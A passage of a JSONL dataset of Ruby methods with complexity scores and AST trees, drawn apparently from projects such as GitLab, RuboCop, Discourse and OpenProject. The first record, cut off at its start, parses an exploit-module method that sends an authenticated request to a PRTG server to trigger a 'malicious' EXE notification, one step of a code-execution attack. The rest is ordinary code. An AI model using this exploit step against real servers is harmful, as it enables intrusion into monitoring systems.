end","complexity_score":20.65,"ast_json":"{\"type\":\"def\",\"children\":[\"prtg_trigger_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"notificationtest.htm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@objid\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Failed to reach remote host\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"EXE notification is queued up\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Triggered malicious notification\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to trigger malicious notification\"]}]}]}]}]}","id":"23c39459-eaaa-466e-a423-1864da8ebf45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241023085059_add_columns_to_packages_conan_file_metadata.rb","start_line":6,"raw_source":"def change\n    add_column :packages_conan_file_metadata, :recipe_revision_id, :bigint\n    add_column :packages_conan_file_metadata, :package_revision_id, :bigint\n    add_column :packages_conan_file_metadata, :package_reference_id, :bigint\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"sym\",\"children\":[\"recipe_revision_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"sym\",\"children\":[\"package_revision_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"sym\",\"children\":[\"package_reference_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]}]}]}]}","id":"5efc6b52-360e-4487-9317-11d365a12d66"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog_cli.rb","start_line":42,"raw_source":"def self.load_plugins\n    # TODO: I think I want to do this more like hoe's plugin system. Generalize?\n    loaded, found = {}, {}\n\n    Gem.find_files(\"flog/*.rb\").reverse.each do |path|\n      found[File.basename(path, \".rb\").intern] = path\n    end\n\n    found.each do |name, plugin|\n      next if loaded[name]\n      begin\n        warn \"loading #{plugin}\" # if $DEBUG\n        loaded[name] = load plugin\n      rescue LoadError => e\n        warn \"error loading #{plugin.inspect}: #{e.message}. skipping...\"\n      end\n    end\n\n    self.plugins.merge loaded\n\n    names = Flog.constants.map {|s| s.to_s}.reject {|n| n =~ /^[A-Z_]+$/}\n\n    names.each do |name|\n      # next unless Hoe.plugins.include? name.downcase.intern\n      mod = Flog.const_get(name)\n      next if Class === mod\n      warn \"extend #{mod}\" if $DEBUG\n      # self.extend mod\n    end\n  end","complexity_score":46.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_plugins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loaded\"]},{\"type\":\"lvasgn\",\"children\":[\"found\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"find_files\",{\"type\":\"str\",\"children\":[\"flog/*.rb\"]}]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\".rb\"]}]},\"intern\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"plugin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loaded\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"loading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loaded\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"load\",{\"type\":\"lvar\",\"children\":[\"plugin\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoadError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"error loading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\". skipping...\"]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"plugins\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"loaded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flog\"]},\"constants\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_s\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[A-Z_]+$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flog\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$DEBUG\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"extend \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]}]},null]}]}]}]}]}","id":"abe0df41-1e09-4883-8868-801681720e94"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/onboardings_controller.rb","start_line":54,"raw_source":"def checkbox\n    authorize User, :onboarding_checkbox_update?\n\n    if params[:user]\n      current_user.assign_attributes(params[:user].permit(ALLOWED_CHECKBOX_PARAMS))\n    end\n\n    current_user.saw_onboarding = true\n\n    if current_user.save\n      render json: {}, status: :ok\n    else\n      render json: { errors: errors }, status: :unprocessable_entity\n    end\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"checkbox\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"sym\",\"children\":[\"onboarding_checkbox_update?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"assign_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"permit\",{\"type\":\"const\",\"children\":[null,\"ALLOWED_CHECKBOX_PARAMS\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"saw_onboarding=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"2da9a111-4b1c-4924-b000-3a0ed7d7795b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/redundant_cop_enable_directive.rb","start_line":86,"raw_source":"def range_with_comma(comment, name)\n          source = comment.source\n\n          begin_pos = cop_name_indention(comment, name)\n          end_pos = begin_pos + name.size\n          begin_pos = reposition(source, begin_pos, -1)\n          end_pos = reposition(source, end_pos, 1)\n\n          range_to_remove(begin_pos, end_pos, comment)\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"range_with_comma\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"source\"]}]},{\"type\":\"lvasgn\",\"children\":[\"begin_pos\",{\"type\":\"send\",\"children\":[null,\"cop_name_indention\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_pos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"begin_pos\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"begin_pos\",{\"type\":\"send\",\"children\":[null,\"reposition\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"begin_pos\"]},{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"end_pos\",{\"type\":\"send\",\"children\":[null,\"reposition\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"end_pos\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"range_to_remove\",{\"type\":\"lvar\",\"children\":[\"begin_pos\"]},{\"type\":\"lvar\",\"children\":[\"end_pos\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]}]}","id":"c466a6d6-f1e3-4acc-a3c4-9f1231355d9d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/event_log.rb","start_line":8,"raw_source":"def self.add_missing_elements(parent, xmlNode)\n    hashes = xml_to_hashes(xmlNode)\n    EmsRefresh.save_event_logs_inventory(parent.operating_system, hashes) if hashes\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_missing_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"xmlNode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hashes\",{\"type\":\"send\",\"children\":[null,\"xml_to_hashes\",{\"type\":\"lvar\",\"children\":[\"xmlNode\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsRefresh\"]},\"save_event_logs_inventory\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"operating_system\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]}]},null]}]}]}","id":"150712eb-1ac4-4721-ac4a-752972c689d4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/freedom_patches/translate_accelerator.rb","start_line":109,"raw_source":"def ensure_loaded!(locale)\n      locale = locale.to_sym\n      @loaded_locales ||= []\n      load_locale(locale) if @loaded_locales.exclude?(locale)\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_loaded!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},\"to_sym\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loaded_locales\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@loaded_locales\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[null,\"load_locale\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},null]}]}]}","id":"c9157797-ada8-4c44-9c9c-88a63f324e4a"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_activity_bookmarks.rb","start_line":46,"raw_source":"def has_topic?(topic)\n        has_content?(topic.title)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_topic?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[null,\"has_content?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]}]}","id":"a7b1f385-ab20-4763-9e76-567a8050e0bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/protected_branches/update_service_spec.rb","start_line":75,"raw_source":"def disallow(ability, protected_branch)\n    allow(Ability).to receive(:allowed?).and_call_original\n    allow(Ability).to receive(:allowed?).with(user, ability, protected_branch).and_return(false)\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ability\"]},{\"type\":\"arg\",\"children\":[\"protected_branch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Ability\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"and_call_original\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Ability\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"allowed?\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"ability\"]},{\"type\":\"lvar\",\"children\":[\"protected_branch\"]}]},\"and_return\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"ae9674af-f631-4e14-b351-fe278b50d727"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/message_reply.rb","start_line":38,"raw_source":"def process\n      receive_message_reply(reference[:id])\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"receive_message_reply\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reference\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"f1878f14-e006-42f9-9962-4b7d71278fea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241202112738_revert_oauth_organization_default.rb","start_line":8,"raw_source":"def change\n    TABLES.each do |table|\n      change_column_default(table, :organization_id, from: nil, to: 1)\n    end\n  end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"f0664954-695a-4629-b92e-8673ad2d916f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/devcontainer_generator_test.rb","start_line":346,"raw_source":"def test_common_config\n          assert_file(\".devcontainer/Dockerfile\") do |dockerfile|\n            assert_match(/ARG RUBY_VERSION=#{RUBY_VERSION}/, dockerfile)\n            assert_match(/ENV BINDING=\"0.0.0.0\"/, dockerfile)\n          end\n\n          assert_devcontainer_json_file do |devcontainer_json|\n            assert_includes devcontainer_json[\"features\"].keys, \"ghcr.io/devcontainers/features/github-cli:1\"\n            assert_includes devcontainer_json[\"forwardPorts\"], 3000\n          end\n\n          assert_compose_file do |compose|\n            expected_app_config = {\n              \"build\" => {\n                \"context\" => \"..\",\n                \"dockerfile\" => \".devcontainer/Dockerfile\"\n              },\n              \"volumes\" => [\"../../#{compose[\"name\"]}:/workspaces/#{compose[\"name\"]}:cached\"],\n              \"command\" => \"sleep infinity\"\n            }\n            actual_independent_config = compose[\"services\"][\"rails-app\"].except(\"depends_on\")\n            assert_equal expected_app_config, actual_independent_config\n          end\n        end","complexity_score":25.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_common_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".devcontainer/Dockerfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dockerfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARG RUBY_VERSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"dockerfile\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ENV BINDING=\\\"0.0.0.0\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"dockerfile\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_devcontainer_json_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"devcontainer_json\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devcontainer_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"features\"]}]},\"keys\"]},{\"type\":\"str\",\"children\":[\"ghcr.io/devcontainers/features/github-cli:1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devcontainer_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"forwardPorts\"]}]},{\"type\":\"int\",\"children\":[3000]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_compose_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compose\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_app_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"..\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dockerfile\"]},{\"type\":\"str\",\"children\":[\".devcontainer/Dockerfile\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"volumes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\":/workspaces/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\":cached\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"command\"]},{\"type\":\"str\",\"children\":[\"sleep infinity\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_independent_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"rails-app\"]}]},\"except\",{\"type\":\"str\",\"children\":[\"depends_on\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_app_config\"]},{\"type\":\"lvar\",\"children\":[\"actual_independent_config\"]}]}]}]}]}]}","id":"c1023c76-ab3c-4517-8e3a-5b76f4e8f4de"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/hash_alignment.rb","start_line":313,"raw_source":"def alignment_for_colons\n          @alignment_for_colons ||= new_alignment('EnforcedColonStyle')\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"alignment_for_colons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@alignment_for_colons\"]},{\"type\":\"send\",\"children\":[null,\"new_alignment\",{\"type\":\"str\",\"children\":[\"EnforcedColonStyle\"]}]}]}]}","id":"0a6401a0-9214-4b34-8e76-10a459e89dbe"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/authentication_controller.rb","start_line":53,"raw_source":"def confirm_otp\n      login_if_otp_token_valid(\n        user: @authenticated_user,\n        otp_token: params[:otp],\n        webauthn_credential: params[:webauthn_credential]\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_otp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"login_if_otp_token_valid\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@authenticated_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"otp_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"otp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webauthn_credential\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"webauthn_credential\"]}]}]}]}]}]}","id":"2229566f-02ae-45d2-852d-c7a2441ddaf8"}
